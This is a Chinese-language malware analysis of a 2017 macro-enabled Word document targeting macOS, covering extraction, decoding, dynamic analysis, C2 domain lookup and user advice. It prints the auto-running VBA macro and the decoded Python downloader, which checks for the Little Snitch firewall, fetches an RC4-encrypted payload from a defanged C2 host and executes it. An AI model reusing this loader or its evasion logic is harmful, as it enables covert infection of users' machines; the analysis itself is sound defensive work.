随着勒索软件在2016年的爆发,大量的恶意软件选择在邮件中使用含有宏的word文档进行伪装攻击。当用户打开文档时,如果不慎点击了“启用宏”的选项,宏木马会第一时间执行各类恶意行为,比如对用户的文件进行加密,或者安装远控木马等。

进入2017年,基于文档型宏木马的攻击仍然处于高活跃状态,更值得关注的是,木马制作团队已经开始将攻击目标指向了MacOS系统。近期,国外媒体报道了一个在MacOS平台中传播的word文档型宏木马,哈勃分析系统第一时间进行了跟进分析。

1. 基本信息

本次捕获的样本是一个docm格式的文件,即带有宏的word文档文件。其在VirusTotal中的基本信息如下:

文件大小:32.9 KB

标题:U.S. Allies and Rivals Digest Trump’s Victory - Carnegie Endowment for International Peace.docm

首次提交时间:2017-01-16 18:48:58

从标题和首次提交时间来看,该样本试图借助美国总统就职的热点新闻事件进行传播扩散。

MacOS平台上文档型宏样本的分析方法,同Windows平台上的分析方法类似,主要是静态分析和动态分析。静态分析包括解压文件、提取VBA代码、解密代码等项目,动态分析包括进程、网络等分析子项目。

2. 解压文件

word 2007之后版本的docx、docm文件本质上是一个zip文件,可以使用unzip命令进行解压。如下命令展现了文档解压之后的子文件的目录结构。其中word/vbaProject.bin就是文档中宏代码所在的文件。

root# file sample.docm 

sample.docm: Microsoft Word 2007+

root# unzip -d sample ./sample.docm 

Archive:  ./sample.docm

  inflating: sample/[Content_Types].xml  

  inflating: sample/_rels/.rels      

  inflating: sample/word/_rels/document.xml.rels  

  inflating: sample/word/document.xml  

  inflating: sample/word/theme/theme1.xml  

  inflating: sample/word/vbaProject.bin  

  inflating: sample/word/_rels/vbaProject.bin.rels  

  inflating: sample/word/vbaData.xml  

  inflating: sample/word/settings.xml  

  inflating: sample/word/stylesWithEffects.xml  

  inflating: sample/word/styles.xml  

  inflating: sample/docProps/core.xml  

  inflating: sample/word/fontTable.xml  

  inflating: sample/word/webSettings.xml  

  inflating: sample/docProps/app.xml  

3. 提取VBA代码

VBA代码可以通过ClamAV自带的sigtool进行提取,命令如下:

root@remnux:~/macos# sigtool --vba ./word/vbaProject.bin

提取出的VBA代码,包括一些注释,经过进一步的分析,这里将关键性的自启动代码进行展示:

Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal.ThisDocument"

 

Sub autoopen()

Fisher

End Sub

 

Public Declare Function system Lib "libc.dylib" (ByVal command As StringAs Long

 

Public Sub Fisher()Dim result As Long

Dim cmd As String

cmd = "ZFhGcHJ2c2dNQlNJeVBmPSdhdGZNelpPcVZMYmNqJwppbXBvcnQgc3"

cmd = cmd + "NsOwppZiBoYXNhdHRyKHNzbCwgJ19jcmVhdGVfdW52ZXJpZm"

...

cmd = cmd + "0pKQpleGVjKCcnLmpvaW4ob3V0KSk="

result = system("echo ""import sys,base64;exec(base64.b64decode("" " & cmd & " ""));"" | python &")End Sub

4. 解密代码

从第二步提取出的VB代码来看,主要使用的函数有三个:

首先是autoopen,当文档被打开时会被自动调用。

其次Fisher函数会在autoopen时被调用,内容主要是将cmd变量拼接,然后使用base64进行解码,解码之后的代码会被传入python中执行,执行的过程使用了第三个函数system。

在常见的VBA开发中,调用系统命令使用的是内置的Shell函数。而此次木马使用的system函数,是从MacOS上的动态连接库文件libc.dylib文件中导出的函数,这是此木马针对MacOS平台的一个表现。如果在Windows平台下执行这段宏,会提示声明中的libc.dylib文件找不到,无法继续执行。

木马使用system函数执行系统命令,将一段经过base64解码之后的代码传给Python解释器进行执行。由于MacOS系统默认自带了Python解释器,执行此命令时不会遇到兼容性问题。解码后的Python代码如下所示:

import ssl;

...

import sys, urllib2;

import re, subprocess;

cmd = "ps -ef | grep Little Snitch | grep -v grep"

ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)

out = ps.stdout.read()

ps.stdout.close()

if re.search("Little Snitch", out):

sys.exit()

 

o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';o.addheaders=[('User-Agent',UA)];a=o.open('https://www[.]securitychecking[.]org:443/index.asp').read();key='fff96aed07cb7ea65e7f031bd714607d';S,j,out=range(256),0,[]

 

for i in range(256):

j=(j+S[i]+ord(key[i%len(key)]))%256

S[i],S[j]=S[j],S[i]

i=j=0

for char in a:

i=(i+1)%256

j=(j+S[i])%256

S[i],S[j]=S[j],S[i]

out.append(chr(ord(char)^S[(S[i]+S[j])%256]))

exec(''.join(out))

此python代码就是这份文档中包含的真正的恶意代码。主要有如下功能:

首先判断Little Snitch防火墙进程是否存在。

如果不存在,就使用HTTPS协议下载加密的payload。

然后对内存中的payload进行解密,使用了对称加密算法,主要使用了置换和异或操作,其密钥是:fff96aed07cb7ea65e7f031bd714607d。

最后使用python中的exec函数执行下载的payload,下载器的工作完成,开始真正的恶意流程。

5. 动态分析

在动态分析过程中,分析人员将木马样本置于虚拟机中进行分析,发现用户点击“启用宏”是本次木马能够成功运行的关键前提。如下图所示。

宏木马现身MacOS平台-RadeBit瑞安全

当用户点击“启用宏”按钮后,文档中的VB代码便会自动运行,执行前述的解密python代码、下载payload、运行payload等一系列操作。

此时,在word 中选择工具->宏->VB编辑器菜单选项,也可以看到恶意VB代码。如下图所示。

宏木马现身MacOS平台-RadeBit瑞安全

基于前面的静态分析,本次动态分析以网络监控为主。使用tcpdump命令可以将网络流量进行记录,用于之后的分析。

tcpdump -i any -w sample.pcap

也可以使用网络分析工具Wireshark中对网络行为进行监控,例如此木马发送DNS请求的情况如下:

宏木马现身MacOS平台-RadeBit瑞安全

6. C&C服务器分析

前面的静态分析和动态分析中提取的C&C服务器信息,都指向了同一个域名:www[.]securitychecking[.]org。

经过查询域名相关信息,可以看到此域名的注册者为:

Name:Michel Ward

Address:2539 Wayback Lane

City:Riverhead

State / Province:New York

Postal Code:11901

Country:US

Email:miward#yandex[.]com

同时,此注册者还注册了另外一个域名:d7y57o5a[.]com。

从以上信息可以看出,注册者提供的地点是在美国,但是使用的邮箱是俄罗斯著名互联网企业Yandex提供的邮箱。遗憾的是,在对木马进行分析的时候,域名www[.]securitychecking[.]org已经被攻击者弃用,已经无法解析IP。根据之前安全专家的分析,域名以前对应的IP也位于俄罗斯境内。

7. 防范策略

对于MacOS平台上的宏木马,目前仍处于技术发展的探索阶段,但是借助Windows平台上宏木马的成熟技术,再加上MacOS中提供的一些便利的执行条件(例如Python环境、shell命令等),预计今后一段时间,这类新型的攻击方式会出现大幅度的增长。

在此提醒用户,即使是在使用Mac电脑的时候,也不应该放松警惕。在打开word文档时,不要轻易选择“启用宏”选项,特别是对于邮件中的word附件要进行反复确认。保持良好的安全习惯,才能在各种不同的设备上保障自身的安全。